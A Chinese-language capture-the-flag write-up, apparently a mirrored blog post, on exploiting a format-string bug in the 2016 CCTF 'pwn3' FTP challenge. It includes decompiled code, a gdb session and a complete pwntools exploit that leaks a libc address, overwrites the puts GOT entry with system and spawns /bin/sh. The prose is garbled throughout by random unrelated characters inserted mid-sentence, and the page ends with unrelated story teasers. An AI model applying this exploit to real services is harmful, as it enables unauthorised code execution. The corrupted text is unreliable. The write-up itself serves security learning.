格式化字符串漏洞例子(二)hijack GOT

1.pwn3

題目下載,FORK自CTFWIKI
emmm經(jīng)過菜雞的無限自閉大法。結(jié)合師兄的無私指教蔬胯,終于把這題弄懂了

用IDA打開的時(shí)候出現(xiàn)了一點(diǎn)意外,我也不知道什么叫作盜版的IDA生成的數(shù)據(jù)庫(kù)


image.png

后來直接生成的c代碼文件
代碼連接

經(jīng)過分析蚁署,程序分為五個(gè)大塊绣版。main函數(shù),驗(yàn)證身份函數(shù)辐脖,put_file函數(shù)饲宛,get_file函數(shù),show_dir函數(shù)
是一個(gè)需要驗(yàn)證身份的ftp連接程序嗜价。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  int v4; // [esp+14h] [ebp-2Ch]
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username((char *)&v4);
  ask_password((char *)&v4);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

看到主函數(shù)艇抠,這里先進(jìn)行了ask_username和ask_password的函數(shù)進(jìn)行驗(yàn)證身份。再選擇操作久锥,根據(jù)操作來進(jìn)行put_file,showdir,get_file的操作家淤。

//----- (0804894B) --------------------------------------------------------
char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}
// 8048550: using guessed type int __isoc99_scanf(const char *, ...);
// 804894B: using guessed type char src[40];
//----- (080489D6) --------------------------------------------------------
int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

這里驗(yàn)證身份處的兩個(gè)函數(shù),是對(duì)你輸入的src進(jìn)行每一個(gè)字符的+1處理瑟由,再與“sysbdmin"進(jìn)行對(duì)比所以在

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)

此位置構(gòu)造的腳本

signed int get_command()
{
  char s1; // [esp+1Ch] [ebp-Ch]

  __isoc99_scanf("%3s", &s1);
  if ( !strncmp(&s1, "get", 3u) )
    return 1;
  if ( !strncmp(&s1, "put", 3u) )
    return 2;
  if ( !strncmp(&s1, "dir", 3u) )
    return 3;
  return 4;
}

然后就進(jìn)行選擇操作絮重,根據(jù)get_command()的函數(shù)中,可以發(fā)現(xiàn)進(jìn)入選擇只有g(shù)et,put,dir歹苦,對(duì)應(yīng)的操作就是get_file,put_file,dir_show青伤。

//----- (080487F6) --------------------------------------------------------
int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 0x28);
      return printf(&dest);
    }
  }
  return printf(&dest);
}
//----- (080486E7) --------------------------------------------------------
int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 0x400u);
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);
    }
  }
  return puts(s);
}

經(jīng)過分析,file_head在get_file輸入時(shí)會(huì)保存在get_file函數(shù)中s1的地址殴瘦,并在show_dir函數(shù)中將get_file賦給s狠角,輸出s,那么我們就可以在嘗試將got表中puts函數(shù)替換成sys函數(shù)蚪腋。

思路:
通過密碼
確認(rèn)格式化地址偏移丰歌,獲取puts地址
got表?yè)Q取libc.so版本姨蟋,獲取system地址
將puts地址內(nèi)容修改為system
修改file_head指向/bin/sh
show_dir執(zhí)行puts,等同system("/bin/sh“)

gdb斷點(diǎn)調(diào)試立帖,獲得字符串漏洞偏移

gdb-peda$ b *0x0804889E
Breakpoint 1 at 0x804889e
gdb-peda$ r
Starting program: /mnt/hgfs/CTF/share/pwn/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3 
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm  
welcome!
ftp>get
enter the file name you want to get:1111

[----------------------------------registers-----------------------------------]
EAX: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:    add    esp,0x10)
EBX: 0x0 
ECX: 0x66 ('f')
EDX: 0xffffce04 ("1111")
ESI: 0xf7fb4000 --> 0x1d7d6c 
EDI: 0x0 
EBP: 0xffffce38 --> 0xffffce88 --> 0x0 
ESP: 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add    esp,0x10)
EIP: 0x804889e (<get_file+168>: call   0x80484c0 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048893 <get_file+157>:    jne    0x8048853 <get_file+93>
   0x8048895 <get_file+159>:    lea    eax,[ebp-0xfc]
   0x804889b <get_file+165>:    mov    DWORD PTR [esp],eax
=> 0x804889e <get_file+168>:    call   0x80484c0 <printf@plt>
   0x80488a3 <get_file+173>:    leave  
   0x80488a4 <get_file+174>:    ret    
   0x80488a5 <get_command>: push   ebp
   0x80488a6 <get_command+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add    esp,0x10)
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:    add    esp,0x10)
0004| 0xffffcd24 --> 0x8048baa ("flag")
0008| 0xffffcd28 --> 0x4 
0012| 0xffffcd2c --> 0xf7ffd000 --> 0x26f34 
0016| 0xffffcd30 --> 0x0 
0020| 0xffffcd34 --> 0xf7fb4dc7 --> 0xfb58900a 
0024| 0xffffcd38 --> 0x1 
0028| 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804889e in get_file ()
gdb-peda$ fmtarg 0xffffcd3c
The index of format argument : 7

exp.py

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
    sh = remote('111', 111)
else:
    sh = process('./pwn3')

def get(name):
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data

def put(name, content):
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(content)

def show_dir():
    sh.sendline('dir')

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)

# password
def password():
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)

#通過密碼驗(yàn)證
password()
#獲取puts地址
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
#格式化字符串漏洞執(zhí)行
put('1111', '%8$s' + p32(puts_got)) 
puts_addr = u32(get('1111')[:4])

# 獲取libc.so版本眼溶,根據(jù)sys和puts的相對(duì)偏移來?yè)Q取對(duì)應(yīng)的sys地址
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

# 將puts替換成sys
payload = fmtstr_payload( 7,{puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
#get中替換file_head
sh.sendline('/bin/sh;')

# 執(zhí)行system('/bin/sh')
show_dir()
#獲取shell
sh.interactive()

獲取成功


image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市晓勇,隨后出現(xiàn)的幾起案子堂飞,更是在濱河造成了極大的恐慌,老刑警劉巖绑咱,帶你破解...
    沈念sama閱讀 210,914評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件酝静,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡羡玛,警方通過查閱死者的電腦和手機(jī)别智,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,935評(píng)論 2 383
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來稼稿,“玉大人薄榛,你說我怎么就攤上這事∪眉撸” “怎么了敞恋?”我有些...
    開封第一講書人閱讀 156,531評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)谋右。 經(jīng)常有香客問我硬猫,道長(zhǎng),這世上最難降的妖魔是什么改执? 我笑而不...
    開封第一講書人閱讀 56,309評(píng)論 1 282
  • 正文 為了忘掉前任啸蜜,我火速辦了婚禮,結(jié)果婚禮上辈挂,老公的妹妹穿的比我還像新娘衬横。我一直安慰自己,他們只是感情好终蒂,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,381評(píng)論 5 384
  • 文/花漫 我一把揭開白布蜂林。 她就那樣靜靜地躺著,像睡著了一般拇泣。 火紅的嫁衣襯著肌膚如雪噪叙。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,730評(píng)論 1 289
  • 那天霉翔,我揣著相機(jī)與錄音睁蕾,去河邊找鬼。 笑死早龟,一個(gè)胖子當(dāng)著我的面吹牛惫霸,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播葱弟,決...
    沈念sama閱讀 38,882評(píng)論 3 404
  • 文/蒼蘭香墨 我猛地睜開眼壹店,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了芝加?” 一聲冷哼從身側(cè)響起硅卢,我...
    開封第一講書人閱讀 37,643評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎藏杖,沒想到半個(gè)月后将塑,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,095評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡蝌麸,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,448評(píng)論 2 325
  • 正文 我和宋清朗相戀三年点寥,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片来吩。...
    茶點(diǎn)故事閱讀 38,566評(píng)論 1 339
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡敢辩,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出弟疆,到底是詐尸還是另有隱情戚长,我是刑警寧澤,帶...
    沈念sama閱讀 34,253評(píng)論 4 328
  • 正文 年R本政府宣布怠苔,位于F島的核電站同廉,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏柑司。R本人自食惡果不足惜迫肖,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,829評(píng)論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望攒驰。 院中可真熱鬧咒程,春花似錦、人聲如沸讼育。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,715評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽奶段。三九已至饥瓷,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間痹籍,已是汗流浹背呢铆。 一陣腳步聲響...
    開封第一講書人閱讀 31,945評(píng)論 1 264
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留蹲缠,地道東北人棺克。 一個(gè)月前我還...
    沈念sama閱讀 46,248評(píng)論 2 360
  • 正文 我出身青樓悠垛,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親娜谊。 傳聞我的和親對(duì)象是個(gè)殘疾皇子确买,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,440評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容